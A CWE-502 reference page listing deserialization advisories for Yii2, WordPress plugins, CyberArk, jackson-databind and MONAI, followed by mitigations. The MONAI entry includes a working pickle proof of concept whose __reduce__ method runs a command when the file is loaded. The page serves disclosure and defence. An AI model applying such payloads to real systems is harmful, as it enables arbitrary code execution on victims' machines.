CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4801 vulnerabilities reference this CWE, most recent first.
GHSA-88M2-J94X-V4FX
Vulnerability from github – Published: 2025-03-24 09:34 – Updated: 2025-03-24 21:31A vulnerability, which was classified as critical, has been found in yiisoft Yii2 up to 2.0.45. Affected by this issue is the function getIterator of the file symfony\finder\Iterator\SortableIterator.php. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yiisoft/yii2-dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-2689"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-24T21:31:19Z",
"nvd_published_at": "2025-03-24T07:15:14Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in yiisoft Yii2 up to 2.0.45. Affected by this issue is the function getIterator of the file symfony\\finder\\Iterator\\SortableIterator.php. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-88m2-j94x-v4fx",
"modified": "2025-03-24T21:31:19Z",
"published": "2025-03-24T09:34:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2689"
},
{
"type": "WEB",
"url": "https://github.com/gaorenyusi/gaorenyusi/blob/main/Yii2.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/yiisoft/yii2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.300710"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.300710"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.521709"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "yiisoft Yii2 Deserialization of Untrusted Data"
}
GHSA-88PW-X8MV-5VJ5
Vulnerability from github – Published: 2026-05-29 07:20 – Updated: 2026-05-29 07:20The WooCommerce Infinite Scroll and Ajax Pagination plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.8 via the 'settings' parameter in the 'import_settings' function. This is due to deserialization of untrusted data supplied via the import configuration feature without capability checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No POP chain is present within the vulnerable plugin itself, but if a POP chain is present via an additional plugin or theme installed on the target system, it could allow an attacker to delete arbitrary files, retrieve sensitive data, or execute code.
{
"affected": [],
"aliases": [
"CVE-2025-11993"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T07:16:13Z",
"severity": "HIGH"
},
"details": "The WooCommerce Infinite Scroll and Ajax Pagination plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.8 via the \u0027settings\u0027 parameter in the \u0027import_settings\u0027 function. This is due to deserialization of untrusted data supplied via the import configuration feature without capability checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No POP chain is present within the vulnerable plugin itself, but if a POP chain is present via an additional plugin or theme installed on the target system, it could allow an attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
"id": "GHSA-88pw-x8mv-5vj5",
"modified": "2026-05-29T07:20:06Z",
"published": "2026-05-29T07:20:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11993"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/woocommerce-infinite-scroll-and-ajax-pagination/10192075"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a8eb3ec8-0784-4702-86bf-a621b288e7a0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-88RW-GMXX-J2PC
Vulnerability from github – Published: 2024-10-01 09:30 – Updated: 2024-10-01 09:30The UltraPress theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.2.1 via deserialization of untrusted input. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
{
"affected": [],
"aliases": [
"CVE-2024-7434"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-01T08:15:02Z",
"severity": "HIGH"
},
"details": "The UltraPress theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.2.1 via deserialization of untrusted input. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
"id": "GHSA-88rw-gmxx-j2pc",
"modified": "2024-10-01T09:30:48Z",
"published": "2024-10-01T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7434"
},
{
"type": "WEB",
"url": "https://wordpress.org/themes/ultrapress"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9cf97a6-38bb-4499-98f0-ca2b7111f654?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-897C-MV4M-8FJJ
Vulnerability from github – Published: 2022-05-14 01:30 – Updated: 2022-05-14 01:30The REST API in CyberArk Password Vault Web Access before 9.9.5 and 10.x before 10.1 allows remote attackers to execute arbitrary code via a serialized .NET object in an Authorization HTTP header.
{
"affected": [],
"aliases": [
"CVE-2018-9843"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-12T15:29:00Z",
"severity": "CRITICAL"
},
"details": "The REST API in CyberArk Password Vault Web Access before 9.9.5 and 10.x before 10.1 allows remote attackers to execute arbitrary code via a serialized .NET object in an Authorization HTTP header.",
"id": "GHSA-897c-mv4m-8fjj",
"modified": "2022-05-14T01:30:35Z",
"published": "2022-05-14T01:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9843"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44429"
},
{
"type": "WEB",
"url": "https://www.redteam-pentesting.de/en/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Apr/18"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/541932/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040675"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8987-QGC7-79P9
Vulnerability from github – Published: 2022-05-17 01:10 – Updated: 2025-10-22 00:31Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the InvokerTransformer class in the Apache Commons Collections library.
{
"affected": [],
"aliases": [
"CVE-2015-7450"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-01-02T21:59:00Z",
"severity": "CRITICAL"
},
"details": "Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the InvokerTransformer class in the Apache Commons Collections library.",
"id": "GHSA-8987-qgc7-79p9",
"modified": "2025-10-22T00:31:12Z",
"published": "2022-05-17T01:10:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7450"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2015-7450"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41613"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21970575"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21971342"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21971376"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21971733"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21971758"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21972799"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/77653"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035125"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-89GG-P5R5-Q6R4
Vulnerability from github – Published: 2026-04-07 20:17 – Updated: 2026-04-07 20:17Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
Ultimately, it will trigger pickle.load through a file to identify the command execution.
Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Impact
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.1"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T20:17:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n def __reduce__(self):\n return (subprocess.call, ([\u0027calc.exe\u0027],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n \"algo_bytes\": malicious_algo_bytes, \n \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\u003cimg width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" /\u003e\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -\u003e Any:\n\n with open(pkl_filename, \"rb\") as f_pi:\n data_bytes = f_pi.read()\n data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method",
"id": "GHSA-89gg-p5r5-q6r4",
"modified": "2026-04-07T20:17:21Z",
"published": "2026-04-07T20:17:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI: Unsafe functions lead to pickle deserialization rce"
}
GHSA-89QR-369F-5M5X
Vulnerability from github – Published: 2021-12-09 19:15 – Updated: 2023-09-14 16:08FasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.9.10.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36182"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-18T23:37:58Z",
"nvd_published_at": "2021-01-07T00:15:00Z",
"severity": "HIGH"
},
"details": "FasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.",
"id": "GHSA-89qr-369f-5m5x",
"modified": "2023-09-14T16:08:36Z",
"published": "2021-12-09T19:15:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36182"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/3004"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/3ded28aece694d0df39c9f0fa1ff385b14a8656b"
},
{
"type": "WEB",
"url": "https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00025.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210205-0005"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe Deserialization in jackson-databind"
}
GHSA-89XC-2PPW-M4HV
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Deserialization of Untrusted Data vulnerability in designthemes VEDA veda allows Object Injection.This issue affects VEDA: from n/a through <= 4.2.
{
"affected": [],
"aliases": [
"CVE-2025-60212"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:58Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in designthemes VEDA veda allows Object Injection.This issue affects VEDA: from n/a through \u003c= 4.2.",
"id": "GHSA-89xc-2ppw-m4hv",
"modified": "2026-01-20T15:31:30Z",
"published": "2025-10-22T15:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60212"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/veda/vulnerability/wordpress-veda-theme-4-2-php-object-injection-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/veda/vulnerability/wordpress-veda-theme-4-2-php-object-injection-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/veda/vulnerability/wordpress-veda-theme-4-2-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8C4J-34R4-XR8G
Vulnerability from github – Published: 2021-12-09 19:16 – Updated: 2023-09-14 16:13FasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.9.10.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36180"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-18T23:36:46Z",
"nvd_published_at": "2021-01-07T00:15:00Z",
"severity": "HIGH"
},
"details": "FasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.",
"id": "GHSA-8c4j-34r4-xr8g",
"modified": "2023-09-14T16:13:00Z",
"published": "2021-12-09T19:16:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36180"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/3004"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/3ded28aece694d0df39c9f0fa1ff385b14a8656b"
},
{
"type": "WEB",
"url": "https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00025.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210205-0005"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unsafe Deserialization in jackson-databind"
}
GHSA-8C8J-R8JG-5824
Vulnerability from github – Published: 2023-11-29 21:30 – Updated: 2023-12-01 00:31An issue in the box_deserialize_reusing function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.
{
"affected": [],
"aliases": [
"CVE-2023-48952"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-29T20:15:08Z",
"severity": "HIGH"
},
"details": "An issue in the box_deserialize_reusing function in openlink virtuoso-opensource v7.2.11 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.",
"id": "GHSA-8c8j-r8jg-5824",
"modified": "2023-12-01T00:31:00Z",
"published": "2023-11-29T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48952"
},
{
"type": "WEB",
"url": "https://github.com/openlink/virtuoso-opensource/issues/1175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.